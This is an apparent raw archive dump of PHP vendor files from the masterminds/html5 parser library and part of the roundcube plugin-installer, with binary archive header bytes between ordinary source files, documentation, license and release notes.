            $len = strspn($this->data, $bytes, $this->char, $max);
        } else {
            $len = strspn($this->data, $bytes, $this->char);
        }
        $string = (string) substr($this->data, $this->char, $len);
        $this->char += $len;

        return $string;
    }

    /**
     * Unconsume characters.
     *
     * @param int $howMany The number of characters to unconsume.
     */
    public function unconsume($howMany = 1)
    {
        if (($this->char - $howMany) >= 0) {
            $this->char -= $howMany;
        }
    }

    /**
     * Look ahead without moving cursor.
     */
    public function peek()
    {
        if (($this->char + 1) <= $this->EOF) {
            return $this->data[$this->char + 1];
        }

        return false;
    }

    public function key()
    {
        return $this->char;
    }
}
PK
h�\�:�X��8vendor/masterminds/html5/src/HTML5/Parser/ParseError.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

/**
 * Emit when the parser has an error.
 */
class ParseError extends \Exception
{
}
PK
h�\����	�	9vendor/masterminds/html5/src/HTML5/Parser/InputStream.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

/**
 * Interface for stream readers.
 *
 * The parser only reads from streams. Various input sources can write
 * an adapater to this InputStream.
 *
 * Currently provided InputStream implementations include
 * FileInputStream and StringInputStream.
 *
 * @deprecated since 2.4, to remove in 3.0. Use a string in the scanner instead.
 */
interface InputStream extends \Iterator
{
    /**
     * Returns the current line that is being consumed.
     *
     * TODO: Move this to the scanner.
     */
    public function currentLine();

    /**
     * Returns the current column of the current line that the tokenizer is at.
     *
     * Newlines are column 0. The first char after a newline is column 1.
     *
     * @TODO Move this to the scanner.
     *
     * @return int The column number.
     */
    public function columnOffset();

    /**
     * Get all characters until EOF.
     *
     * This consumes characters until the EOF.
     */
    public function remainingChars();

    /**
     * Read to a particular match (or until $max bytes are consumed).
     *
     * This operates on byte sequences, not characters.
     *
     * Matches as far as possible until we reach a certain set of bytes
     * and returns the matched substring.
     *
     * @see strcspn
     *
     * @param string $bytes Bytes to match.
     * @param int    $max   Maximum number of bytes to scan.
     *
     * @return mixed Index or false if no match is found. You should use strong
     *               equality when checking the result, since index could be 0.
     */
    public function charsUntil($bytes, $max = null);

    /**
     * Returns the string so long as $bytes matches.
     *
     * Matches as far as possible with a certain set of bytes
     * and returns the matched substring.
     *
     * @see strspn
     *
     * @param string $bytes A mask of bytes to match. If ANY byte in this mask matches the
     *                      current char, the pointer advances and the char is part of the
     *                      substring.
     * @param int    $max   The max number of chars to read.
     */
    public function charsWhile($bytes, $max = null);

    /**
     * Unconsume one character.
     *
     * @param int $howMany The number of characters to move the pointer back.
     */
    public function unconsume($howMany = 1);

    /**
     * Retrieve the next character without advancing the pointer.
     */
    public function peek();
}
PK
h�\	3sg\\:vendor/masterminds/html5/src/HTML5/Parser/EventHandler.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

/**
 * Standard events for HTML5.
 *
 * This is roughly analogous to a SAX2 or expat-style interface.
 * However, it is tuned specifically for HTML5, according to section 8
 * of the HTML5 specification.
 *
 * An event handler receives parser events. For a concrete
 * implementation, see DOMTreeBuilder.
 *
 * Quirks support in the parser is limited to close-in syntax (malformed
 * tags or attributes). Higher order syntax and semantic issues with a
 * document (e.g. mismatched tags, illegal nesting, etc.) are the
 * responsibility of the event handler implementation.
 *
 * See HTML5 spec section 8.2.4
 */
interface EventHandler
{
    const DOCTYPE_NONE = 0;

    const DOCTYPE_PUBLIC = 1;

    const DOCTYPE_SYSTEM = 2;

    /**
     * A doctype declaration.
     *
     * @param string $name   The name of the root element.
     * @param int    $idType One of DOCTYPE_NONE, DOCTYPE_PUBLIC, or DOCTYPE_SYSTEM
     * @param string $id     The identifier. For DOCTYPE_PUBLIC, this is the public ID. If DOCTYPE_SYSTEM,
     *                       then this is a system ID.
     * @param bool   $quirks Indicates whether the builder should enter quirks mode.
     */
    public function doctype($name, $idType = 0, $id = null, $quirks = false);

    /**
     * A start tag.
     *
     * IMPORTANT: The parser watches the return value of this event. If this returns
     * an integer, the parser will switch TEXTMODE patters according to the int.
     *
     * This is how the Tree Builder can tell the Tokenizer when a certain tag should
     * cause the parser to go into RAW text mode.
     *
     * The HTML5 standard requires that the builder is the one that initiates this
     * step, and this is the only way short of a circular reference that we can
     * do that.
     *
     * Example: if a startTag even for a `script` name is fired, and the startTag()
     * implementation returns Tokenizer::TEXTMODE_RAW, then the tokenizer will
     * switch into RAW text mode and consume data until it reaches a closing
     * `script` tag.
     *
     * The textmode is automatically reset to Tokenizer::TEXTMODE_NORMAL when the
     * closing tag is encounter. **This behavior may change.**
     *
     * @param string $name        The tag name.
     * @param array  $attributes  An array with all of the tag's attributes.
     * @param bool   $selfClosing An indicator of whether or not this tag is self-closing (<foo/>).
     *
     * @return int one of the Tokenizer::TEXTMODE_* constants
     */
    public function startTag($name, $attributes = array(), $selfClosing = false);

    /**
     * An end-tag.
     */
    public function endTag($name);

    /**
     * A comment section (unparsed character data).
     */
    public function comment($cdata);

    /**
     * A unit of parsed character data.
     *
     * Entities in this text are *already decoded*.
     */
    public function text($cdata);

    /**
     * Indicates that the document has been entirely processed.
     */
    public function eof();

    /**
     * Emitted when the parser encounters an error condition.
     */
    public function parseError($msg, $line, $col);

    /**
     * A CDATA section.
     *
     * @param string $data
     *                     The unparsed character data
     */
    public function cdata($data);

    /**
     * This is a holdover from the XML spec.
     *
     * While user agents don't get PIs, server-side does.
     *
     * @param string $name The name of the processor (e.g. 'php').
     * @param string $data The unparsed data.
     */
    public function processingInstruction($name, $data = null);
}
PK
h�\���G��@vendor/masterminds/html5/src/HTML5/Parser/CharacterReference.phpnu�[���<?php

namespace Masterminds\HTML5\Parser;

use Masterminds\HTML5\Entities;

/**
 * Manage entity references.
 *
 * This is a simple resolver for HTML5 character reference entitites. See Entities for the list of supported entities.
 */
class CharacterReference
{
    protected static $numeric_mask = array(
        0x0,
        0x2FFFF,
        0,
        0xFFFF,
    );

    /**
     * Given a name (e.g. 'amp'), lookup the UTF-8 character ('&').
     *
     * @param string $name The name to look up.
     *
     * @return string The character sequence. In UTF-8 this may be more than one byte.
     */
    public static function lookupName($name)
    {
        // Do we really want to return NULL here? or FFFD
        return isset(Entities::$byName[$name]) ? Entities::$byName[$name] : null;
    }

    /**
     * Given a decimal number, return the UTF-8 character.
     *
     * @param $int
     *
     * @return false|string|string[]|null
     */
    public static function lookupDecimal($int)
    {
        $entity = '&#' . $int . ';';

        // UNTESTED: This may fail on some planes. Couldn't find full documentation
        // on the value of the mask array.
        return mb_decode_numericentity($entity, static::$numeric_mask, 'utf-8');
    }

    /**
     * Given a hexidecimal number, return the UTF-8 character.
     *
     * @param $hexdec
     *
     * @return false|string|string[]|null
     */
    public static function lookupHex($hexdec)
    {
        return static::lookupDecimal(hexdec($hexdec));
    }
}
PK
h�\�%Ʉ��3vendor/masterminds/html5/src/HTML5/Parser/README.mdnu�[���# The Parser Model

The parser model here follows the model in section
[8.2.1](http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#parsing)
of the HTML5 specification, though we do not assume a networking layer.

     [ InputStream ]    // Generic support for reading input.
           ||
      [ Scanner ]       // Breaks down the stream into characters.
           ||
     [ Tokenizer ]      // Groups characters into syntactic
           ||
    [ Tree Builder ]    // Organizes units into a tree of objects
           ||
     [ DOM Document ]     // The final state of the parsed document.


## InputStream

This is an interface with at least two concrete implementations:

- StringInputStream: Reads an HTML5 string.
- FileInputStream: Reads an HTML5 file.

## Scanner

This is a mechanical piece of the parser.

## Tokenizer

This follows section 8.4 of the HTML5 spec. It is (roughly) a recursive
descent parser. (Though there are plenty of optimizations that are less
than purely functional.

## EventHandler and DOMTree

EventHandler is the interface for tree builders. Since not all
implementations will necessarily build trees, we've chosen a more
generic name.

The event handler emits tokens during tokenization.

The DOMTree is an event handler that builds a DOM tree. The output of
the DOMTree builder is a DOMDocument.

## DOMDocument

PHP has a DOMDocument class built-in (technically, it's part of libxml.)
We use that, thus rendering the output of this process compatible with
SimpleXML, QueryPath, and many other XML/HTML processing tools.

For cases where the HTML5 is a fragment of a HTML5 document a
DOMDocumentFragment is returned instead. This is another built-in class.
PK
h�\�����#vendor/masterminds/html5/RELEASE.mdnu�[���# Release Notes

2.7.6  (2021-08-18)

- #218: Address comment handling issues 

2.7.5  (2021-07-01)

- #204: Travis: Enable tests on PHP 8.0 
- #207: Fix PHP 8.1 deprecations 

2.7.4  (2020-10-01)

- #191: Fix travisci build 
- #195: Add .gitattributes file with export-ignore rules 
- #194: Fix query parameter parsed as character entity

2.7.3 (2020-07-05)

- #190: mitigate cyclic reference between output rules and the traverser objects 

2.7.2 (2020-07-01)

- #187: Fixed memory leak in HTML5::saveHTML() 
- #186: Add special case for end tag </br>

2.7.1 (2020-06-14)

- #171: add PHP 7.4 job 
- #178: Prevent infinite loop on un-terminated entity declaration at EOF 

2.7.0 (2019-07-25)

- #164: Drop HHVM support
- #168: Set default encoding in the DOMDocument object

2.6.0 (2019-03-10)

- #163: Allow to pass a charset to the Scanner

2.5.0 (2018-12-27)

- #162, #161, #155, #154, #153, #151: big performance improvements
- #156: fixed typos
- #160: adopt and enforce code style
- #159: remove deprecated php unit base test case
- #150: backport changes from old master branch 

2.4.0 (2018-11-17)

- #148: Improve performance by moving sequence matching 
- #147: Improve the Tokenizer performance 
- #146: Improve performance by relying on a native string instead of InputStream 
- #144: Add DOM extension in composer.json
- #145: Add more extensions on composer.json, improve phpdocs and remove dead code 
- #143: Remove experimental comment 

2.3.1 (2018-10-18)

- #121: Audio is not a block tag (fixed by #141)
- #136: Handle illegal self-closing according to spec (fixed by #137)
- #141: Minor fixes in the README

2.3.0 (2017-09-04)

- #129: image within inline svg breaks system (fixed by #133) 
- #131: &sup2; does not work (fixed by #132)
- #134: Improve tokenizer performance by 20% (alternative version of #130 thanks to @MichaelHeerklotz)
- #135: Raw & in attributes

2.2.2 (2016-09-22)

- #116: In XML mode, tags are case sensitive
- #115: Fix PHP Notice in OutputRules
- #112: fix parsing of options of an optgroup
- #111: Adding test for the address tag

2.2.1 (2016-05-10)

- #109: Fixed issue where address tag could be written without closing tag (thanks sylus)

2.2.0 (2016-04-11)

- #105: Enable composer cache (for CI/CD)
- #100: Use mb_substitute_character inset of ini_set for environments where ini_set is disable (e.g., shared hosting)
- #98: Allow link, meta, style tags in noscript tags
- #96: Fixed xml:href on svgs that use the "use" breaking
- #94: Counting UTF8 characters performance improvement
- #93: Use newer version of coveralls package
- #90: Remove duplicate test
- #87: Allow multiple root nodes

2.1.2 (2015-06-07)
- #82: Support for PHP7
- #84: Improved boolean attribute handling

2.1.1 (2015-03-23)
- #78: Fixes bug where unmatched entity like string drops everything after &.

2.1.0 (2015-02-01)
- #74: Added `disable_html_ns` and `target_doc` dom parsing options
- Unified option names
- #73: Fixed alphabet, &szlig; now can be detected
- #75 and #76: Allow whitespace in RCDATA tags
- #77: Fixed parsing blunder for json embeds
- #72: Add options to HTML methods

2.0.2 (2014-12-17)
- #50: empty document handling
- #63: tags with strange capitalization
- #65: dashes and underscores as allowed characters in tag names
- #68: Fixed issue with non-inline elements inside inline containers

2.0.1 (2014-09-23)
- #59: Fixed issue parsing some fragments.
- #56: Incorrectly saw 0 as empty string
- Sami as new documentation generator

2.0.0 (2014-07-28)
- #53: Improved boolean attributes handling
- #52: Facebook HHVM compatibility
- #48: Adopted PSR-2 as coding standard
- #47: Moved everything to Masterminds namespace
- #45: Added custom namespaces
- #44: Added support to XML-style namespaces
- #37: Refactored HTML5 class removing static methods

1.0.5 (2014-06-10)
- #38: Set the dev-master branch as the 1.0.x branch for composer (goetas)
- #34: Tests use PSR-4 for autoloading. (goetas)
- #40, #41: Fix entity handling in RCDATA sections. (KitaitiMakoto)
- #32: Fixed issue where wharacter references were being incorrectly encoded in style tags.

1.0.4 (2014-04-29)
- #30/#31 Don't throw an exception for invalid tag names.

1.0.3 (2014-02-28)
- #23 and #29: Ignore attributes with illegal chars in name for the PHP DOM.

1.0.2 (2014-02-12)
- #23: Handle missing tag close in attribute list.
- #25: Fixed text escaping in the serializer (HTML% 8.3).
- #27: Fixed tests on Windows: changed "\n" -> PHP_EOL.
- #28: Fixed infinite loop for char "&" in unquoted attribute in parser.
- #26: Updated tag name case handling to deal with uppercase usage.
- #24: Newlines and tabs are allowed inside quoted attributes (HTML5 8.2.4).
- Fixed Travis CI testing.

1.0.1 (2013-11-07)
- CDATA encoding is improved. (Non-standard; Issue #19)
- Some parser rules were not returning the new current element. (Issue #20)
- Added, to the README, details on code test coverage and to packagist version.
- Fixed processor instructions.
- Improved test coverage and documentation coverage.

1.0.0 (2013-10-02)
- Initial release.
PK
h�\��
���$vendor/masterminds/html5/LICENSE.txtnu�[���## HTML5-PHP License

Copyright (c) 2013 The Authors of HTML5-PHP

Matt Butcher - mattbutcher@google.com
Matt Farina - matt@mattfarina.com
Asmir Mustafic - goetas@gmail.com

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in 
the Software without restriction, including without limitation the rights to 
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

## HTML5Lib License

Portions of this are based on html5lib's PHP version, which was a
sub-project of html5lib. The following is the list of contributors from
html5lib:

html5lib:

Copyright (c) 2006-2009 The Authors

Contributors:
James Graham - jg307@cam.ac.uk
Anne van Kesteren - annevankesteren@gmail.com
Lachlan Hunt - lachlan.hunt@lachy.id.au
Matt McDonald - kanashii@kanashii.ca
Sam Ruby - rubys@intertwingly.net
Ian Hickson (Google) - ian@hixie.ch
Thomas Broyer - t.broyer@ltgt.net
Jacques Distler - distler@golem.ph.utexas.edu
Henri Sivonen - hsivonen@iki.fi
Adam Barth - abarth@webkit.org
Eric Seidel - eric@webkit.org
The Mozilla Foundation (contributions from Henri Sivonen since 2008)
David Flanagan (Mozilla) - dflanagan@mozilla.com

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in 
the Software without restriction, including without limitation the rights to 
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
PK
h�\]�.�22&vendor/masterminds/html5/composer.jsonnu�[���{
    "name": "masterminds/html5",
    "description": "An HTML5 parser and serializer.",
    "type": "library",
    "homepage": "http://masterminds.github.io/html5-php",
    "license": "MIT",
    "keywords": ["xml", "html", "html5", "dom", "parser", "serializer", "querypath"],
    "authors": [
        {
            "name": "Matt Butcher",
            "email": "technosophos@gmail.com"
        },
        {
            "name": "Matt Farina",
            "email": "matt@mattfarina.com"
        },
        {
            "name": "Asmir Mustafic",
            "email": "goetas@gmail.com"
        }
    ],
    "require" : {
        "ext-ctype": "*",
        "ext-dom": "*",
        "ext-libxml" : "*",
        "php" : ">=5.3.0"
    },
    "require-dev": {
        "phpunit/phpunit" : "^4.8.35 || ^5.7.21 || ^6 || ^7"
    },
    "autoload": {
        "psr-4": {"Masterminds\\": "src"}
    },
    "autoload-dev": {
        "psr-4": {"Masterminds\\HTML5\\Tests\\": "test/HTML5"}
    },
    "extra": {
        "branch-alias": {
            "dev-master": "2.7-dev"
        }
    }
}
PK
h�\t��s�� vendor/masterminds/html5/CREDITSnu�[���Matt Butcher [technosophos] <technosophos@gmail.com> (lead)
Matt Farina  [mattfarina] <matt@mattfarina.com> (lead)
Asmir Mustafic [goetas] <goetas@lignano.it> (contributor)
Edward Z. Yang [ezyang] <ezyang@mit.edu> (contributor)
Geoffrey Sneddon [gsnedders] <geoffers@gmail.com> (contributor)
Kukhar Vasily [ngreduce] <ngreduce@gmail.com> (contributor)
Rune Christensen [MrElectronic] <mrelectronic@example.com> (contributor)
Mišo Belica [miso-belica] <miso-belica@example.com> (contributor)
Asmir Mustafic [goetas] <goetas@example.com> (contributor)
KITAITI Makoto [KitaitiMakoto] <KitaitiMakoto@example.com> (contributor) 
Jacob Floyd [cognifloyd] <cognifloyd@gmail.com> (contributor)
PK
h�\�H~~)vendor/masterminds/html5/bin/entities.phpnu�[���<?php
/**
 * Fetch the entities.json file and convert to PHP datastructure.
 */

// The URL to the official entities JSON file.
$ENTITIES_URL = 'http://www.w3.org/TR/2012/CR-html5-20121217/entities.json';

$payload = file_get_contents($ENTITIES_URL);
$json = json_decode($payload);

$table = array();
foreach ($json as $name => $obj) {
    $sname = substr($name, 1, -1);
    $table[$sname] = $obj->characters;
}

echo '<?php
namespace Masterminds\\HTML5;
/** Entity lookup tables. This class is automatically generated. */
class Entities {
  public static $byName = ';
var_export($table);
echo ';
}' . PHP_EOL;
//print serialize($table);
PK
h�\�)����%vendor/masterminds/html5/UPGRADING.mdnu�[���From 1.x to 2.x
=================

- All classes uses `Masterminds` namespace.
- All public static methods has been removed from `HTML5` class and the general API to access the HTML5 functionalities has changed. 

    Before:
    
        $dom = \HTML5::loadHTML('<html>....');
        \HTML5::saveHTML($dom);
        
    After:

        use Masterminds\HTML5;
        
        $html5 = new HTML5();
        
        $dom = $html5->loadHTML('<html>....');
        echo $html5->saveHTML($dom);


PK
h�\��lk`&`&"vendor/masterminds/html5/README.mdnu�[���> # UKRAINE NEEDS YOUR HELP NOW!
>
> On 24 February 2022, Russian [President Vladimir Putin ordered an invasion of Ukraine by Russian Armed Forces](https://www.bbc.com/news/world-europe-60504334).
>
> Your support is urgently needed.
>
> - Donate to the volunteers. Here is the volunteer fund helping the Ukrainian army to provide all the necessary equipment:
>  https://bank.gov.ua/en/news/all/natsionalniy-bank-vidkriv-spetsrahunok-dlya-zboru-koshtiv-na-potrebi-armiyi or https://savelife.in.ua/en/donate/
> - Triple-check social media sources. Russian disinformation is attempting to coverup and distort the reality in Ukraine.
> - Help Ukrainian refugees who are fleeing Russian attacks and shellings: https://www.globalcitizen.org/en/content/ways-to-help-ukraine-conflict/
> -  Put pressure on your political representatives to provide help to Ukraine.
> -  Believe in the Ukrainian people, they will not surrender, they don't have another Ukraine.
>
> THANK YOU!
----

# HTML5-PHP

HTML5 is a standards-compliant HTML5 parser and writer written entirely in PHP.
It is stable and used in many production websites, and has
well over [five million downloads](https://packagist.org/packages/masterminds/html5).

HTML5 provides the following features.

- An HTML5 serializer
- Support for PHP namespaces
- Composer support
- Event-based (SAX-like) parser
- A DOM tree builder
- Interoperability with [QueryPath](https://github.com/technosophos/querypath)
- Runs on **PHP** 5.3.0 or newer

[![Build Status](https://travis-ci.org/Masterminds/html5-php.png?branch=master)](https://travis-ci.org/Masterminds/html5-php)
[![Latest Stable Version](https://poser.pugx.org/masterminds/html5/v/stable.png)](https://packagist.org/packages/masterminds/html5)
[![Code Coverage](https://scrutinizer-ci.com/g/Masterminds/html5-php/badges/coverage.png?b=master)](https://scrutinizer-ci.com/g/Masterminds/html5-php/?branch=master)
[![Scrutinizer Code Quality](https://scrutinizer-ci.com/g/Masterminds/html5-php/badges/quality-score.png?b=master)](https://scrutinizer-ci.com/g/Masterminds/html5-php/?branch=master)
[![Stability: Sustained](https://masterminds.github.io/stability/sustained.svg)](https://masterminds.github.io/stability/sustained.html)

## Installation

Install HTML5-PHP using [composer](http://getcomposer.org/).

By adding the `masterminds/html5` dependency to your `composer.json` file:

```json
{
  "require" : {
    "masterminds/html5": "^2.0"
  },
}
```

By invoking require command via composer executable:

```bash
composer require masterminds/html5
```

## Basic Usage

HTML5-PHP has a high-level API and a low-level API.

Here is how you use the high-level `HTML5` library API:

```php
<?php
// Assuming you installed from Composer:
require "vendor/autoload.php";

use Masterminds\HTML5;

// An example HTML document:
$html = <<< 'HERE'
  <html>
  <head>
    <title>TEST</title>
  </head>
  <body id='foo'>
    <h1>Hello World</h1>
    <p>This is a test of the HTML5 parser.</p>
  </body>
  </html>
HERE;

// Parse the document. $dom is a DOMDocument.
$html5 = new HTML5();
$dom = $html5->loadHTML($html);

// Render it as HTML5:
print $html5->saveHTML($dom);

// Or save it to a file:
$html5->save($dom, 'out.html');
```

The `$dom` created by the parser is a full `DOMDocument` object. And the
`save()` and `saveHTML()` methods will take any DOMDocument.

### Options

It is possible to pass in an array of configuration options when loading
an HTML5 document.

```php
// An associative array of options
$options = array(
  'option_name' => 'option_value',
);

// Provide the options to the constructor
$html5 = new HTML5($options);

$dom = $html5->loadHTML($html);
```

The following options are supported:

* `encode_entities` (boolean): Indicates that the serializer should aggressively
  encode characters as entities. Without this, it only encodes the bare
  minimum.
* `disable_html_ns` (boolean): Prevents the parser from automatically
  assigning the HTML5 namespace to the DOM document. This is for
  non-namespace aware DOM tools.
* `target_document` (\DOMDocument): A DOM document that will be used as the
  destination for the parsed nodes.
* `implicit_namespaces` (array): An assoc array of namespaces that should be
  used by the parser. Name is tag prefix, value is NS URI.

## The Low-Level API

This library provides the following low-level APIs that you can use to
create more customized HTML5 tools:

- A SAX-like event-based parser that you can hook into for special kinds
of parsing.
- A flexible error-reporting mechanism that can be tuned to document
syntax checking.
- A DOM implementation that uses PHP's built-in DOM library.

The unit tests exercise each piece of the API, and every public function
is well-documented.

### Parser Design

The parser is designed as follows:

- The `Scanner` handles scanning on behalf of the parser.
- The `Tokenizer` requests data off of the scanner, parses it, clasifies
it, and sends it to an `EventHandler`. It is a *recursive descent parser.*
- The `EventHandler` receives notifications and data for each specific
semantic event that occurs during tokenization.
- The `DOMBuilder` is an `EventHandler` that listens for tokenizing
events and builds a document tree (`DOMDocument`) based on the events.

### Serializer Design

The serializer takes a data structure (the `DOMDocument`) and transforms
it into a character representation -- an HTML5 document.

The serializer is broken into three parts:

- The `OutputRules` contain the rules to turn DOM elements into strings. The
rules are an implementation of the interface `RulesInterface` allowing for
different rule sets to be used.
- The `Traverser`, which is a special-purpose tree walker. It visits
each node node in the tree and uses the `OutputRules` to transform the node
into a string.
- `HTML5` manages the `Traverser` and stores the resultant data
in the correct place.

The serializer (`save()`, `saveHTML()`) follows the
[section 8.9 of the HTML 5.0 spec](http://www.w3.org/TR/2012/CR-html5-20121217/syntax.html#serializing-html-fragments).
So tags are serialized according to these rules:

- A tag with children: &lt;foo&gt;CHILDREN&lt;/foo&gt;
- A tag that cannot have content: &lt;foo&gt; (no closing tag)
- A tag that could have content, but doesn't: &lt;foo&gt;&lt;/foo&gt;

## Known Issues (Or, Things We Designed Against the Spec)

Please check the issue queue for a full list, but the following are
issues known issues that are not presently on the roadmap:

- Namespaces: HTML5 only [supports a selected list of namespaces](http://www.w3.org/TR/html5/infrastructure.html#namespaces)
  and they do not operate in the same way as XML namespaces. A `:` has no special
  meaning.
  By default the parser does not support XML style namespaces via `:`;
  to enable the XML namespaces see the  [XML Namespaces section](#xml-namespaces)
- Scripts: This parser does not contain a JavaScript or a CSS
  interpreter. While one may be supplied, not all features will be
  supported.
- Rentrance: The current parser is not re-entrant. (Thus you can't pause
  the parser to modify the HTML string mid-parse.)
- Validation: The current tree builder is **not** a validating parser.
  While it will correct some HTML, it does not check that the HTML
  conforms to the standard. (Should you wish, you can build a validating
  parser by extending DOMTree or building your own EventHandler
  implementation.)
  * There is limited support for insertion modes.
  * Some autocorrection is done automatically.
  * Per the spec, many legacy tags are admitted and correctly handled,
    even though they are technically not part of HTML5.
- Attribute names and values: Due to the implementation details of the
  PHP implementation of DOM, attribute names that do not follow the
  XML 1.0 standard are not inserted into the DOM. (Effectively, they
  are ignored.) If you've got a clever fix for this, jump in!
- Processor Instructions: The HTML5 spec does not allow processor
  instructions. We do. Since this is a server-side library, we think
  this is useful. And that means, dear reader, that in some cases you
  can parse the HTML from a mixed PHP/HTML document. This, however,
  is an incidental feature, not a core feature.
- HTML manifests: Unsupported.
- PLAINTEXT: Unsupported.
- Adoption Agency Algorithm: Not yet implemented. (8.2.5.4.7)

## XML Namespaces

To use XML style namespaces you have to configure well the main `HTML5` instance.

```php
use Masterminds\HTML5;
$html = new HTML5(array(
    "xmlNamespaces" => true
));

$dom = $html->loadHTML('<t:tag xmlns:t="http://www.example.com"/>');

$dom->documentElement->namespaceURI; // http://www.example.com

```

You can also add some default prefixes that will not require the namespace declaration,
but its elements will be namespaced.

```php
use Masterminds\HTML5;
$html = new HTML5(array(
    "implicitNamespaces"=>array(
        "t"=>"http://www.example.com"
    )
));

$dom = $html->loadHTML('<t:tag/>');

$dom->documentElement->namespaceURI; // http://www.example.com

```

## Thanks to...

The dedicated (and patient) contributors of patches small and large,
who have already made this library better.See the CREDITS file for
a list of contributors.

We owe a huge debt of gratitude to the original authors of html5lib.

While not much of the original parser remains, we learned a lot from
reading the html5lib library. And some pieces remain here. In
particular, much of the UTF-8 and Unicode handling is derived from the
html5lib project.

## License

This software is released under the MIT license. The original html5lib
library was also released under the MIT license.

See LICENSE.txt

Certain files contain copyright assertions by specific individuals
involved with html5lib. Those have been retained where appropriate.
PK
h�\�&Q��9vendor/roundcube/plugin-installer/src/PluginInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

class PluginInstaller extends ExtensionInstaller
{
    protected $composer_type = 'roundcube-plugin';

    #[\Override]
    public function getVendorDir()
    {
        return $this->getRoundcubemailInstallPath() . \DIRECTORY_SEPARATOR . 'plugins';
    }

    #[\Override]
    protected function confirmInstall($package_name)
    {
        $config = $this->composer->getConfig()->get('roundcube');

        if (isset($config['enable-plugin'])) {
            $answer = $config['enable-plugin'];
        } else {
            $answer = $this->io->askConfirmation("Do you want to activate the plugin {$package_name}? [Y|n] ", true);
        }

        return $answer;
    }

    #[\Override]
    protected function getConfig($package_name, $config, $add)
    {
        $cur_config = !empty($config['plugins'])
            ? ((array) $config['plugins'])
            : [];
        $new_config = $cur_config;

        if ($add && !in_array($package_name, $new_config, true)) {
            $new_config[] = $package_name;
        } elseif (!$add && ($i = array_search($package_name, $new_config, true)) !== false) {
            unset($new_config[$i]);
        }

        if ($new_config !== $cur_config) {
            $config_val = count($new_config) > 0
                ? "[\n\t'" . implode("',\n\t'", $new_config) . "',\n];"
                : '[];';
            $result = ['plugins', $config_val];
        } else {
            $result = false;
        }

        return $result;
    }
}
PK
h�\Kp��JJLvendor/roundcube/plugin-installer/src/Roundcube/Composer/PluginInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

/**
 * @category Plugins
 * @package  PluginInstaller
 * @author   Philip Weir <roundcube@tehinterweb.co.uk>
 * @license  GPL-3.0+
 * @version  GIT: <git_id>
 * @link     http://github.com/roundcube/plugin-installer
 */
class PluginInstaller extends ExtensionInstaller
{
    protected $composer_type = 'roundcube-plugin';

    public function getVendorDir()
    {
        return getcwd() . DIRECTORY_SEPARATOR . 'plugins';
    }

    protected function confirmInstall($package_name)
    {
        $config = $this->composer->getConfig()->get('roundcube');

        if (!empty($config['enable-plugin'])) {
            $answer = $config['enable-plugin'];
        }
        else {
            $answer = $this->io->askConfirmation("Do you want to activate the plugin $package_name? [Y|n] ", true);
        }

        return $answer;
    }

    protected function getConfig($package_name, $config, $add )
    {
        $cur_config = !empty($config['plugins']) ? ((array) $config['plugins']) : [];
        $new_config = $cur_config;

        if ($add && !in_array($package_name, $new_config)) {
            $new_config[] = $package_name;
        }
        elseif (!$add && ($i = array_search($package_name, $new_config)) !== false) {
            unset($new_config[$i]);
        }

        if ($new_config != $cur_config) {
            $config_val = count($new_config) > 0 ? "[\n\t'" . join("',\n\t'", $new_config) . "',\n];" : "[];";
            $result = ['plugins', $config_val];
        }
        else {
            $result = false;
        }

        return $result;
    }
}
PK
h�\�����Ovendor/roundcube/plugin-installer/src/Roundcube/Composer/RoundcubeInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

use Composer\Composer;
use Composer\IO\IOInterface;
use Composer\Plugin\PluginInterface;

class RoundcubeInstaller implements PluginInterface
{
    private $extentions = ['\Roundcube\Composer\PluginInstaller', '\Roundcube\Composer\SkinInstaller'];
    private $installers = [];

    public function activate(Composer $composer, IOInterface $io)
    {
        foreach ($this->extentions as $extension) {
            $installer = new $extension($io, $composer);
            $composer->getInstallationManager()->addInstaller($installer);
            $this->installers[] = $installer;
        }
    }

    public function deactivate(Composer $composer, IOInterface $io)
    {
        foreach ($this->installers as $installer) {
            $composer->getInstallationManager()->removeInstaller($installer);
        }
    }

    public function uninstall(Composer $composer, IOInterface $io)
    {
    }
}
PK
h�\�ULs�<�<Ovendor/roundcube/plugin-installer/src/Roundcube/Composer/ExtensionInstaller.phpnu�[���<?php

namespace Roundcube\Composer;

use Composer\Installer\LibraryInstaller;
use Composer\Package\Version\VersionParser;
use Composer\Package\PackageInterface;
use Composer\Repository\InstalledRepositoryInterface;
use Composer\Util\ProcessExecutor;
use Composer\Util\Filesystem;
use React\Promise\PromiseInterface;

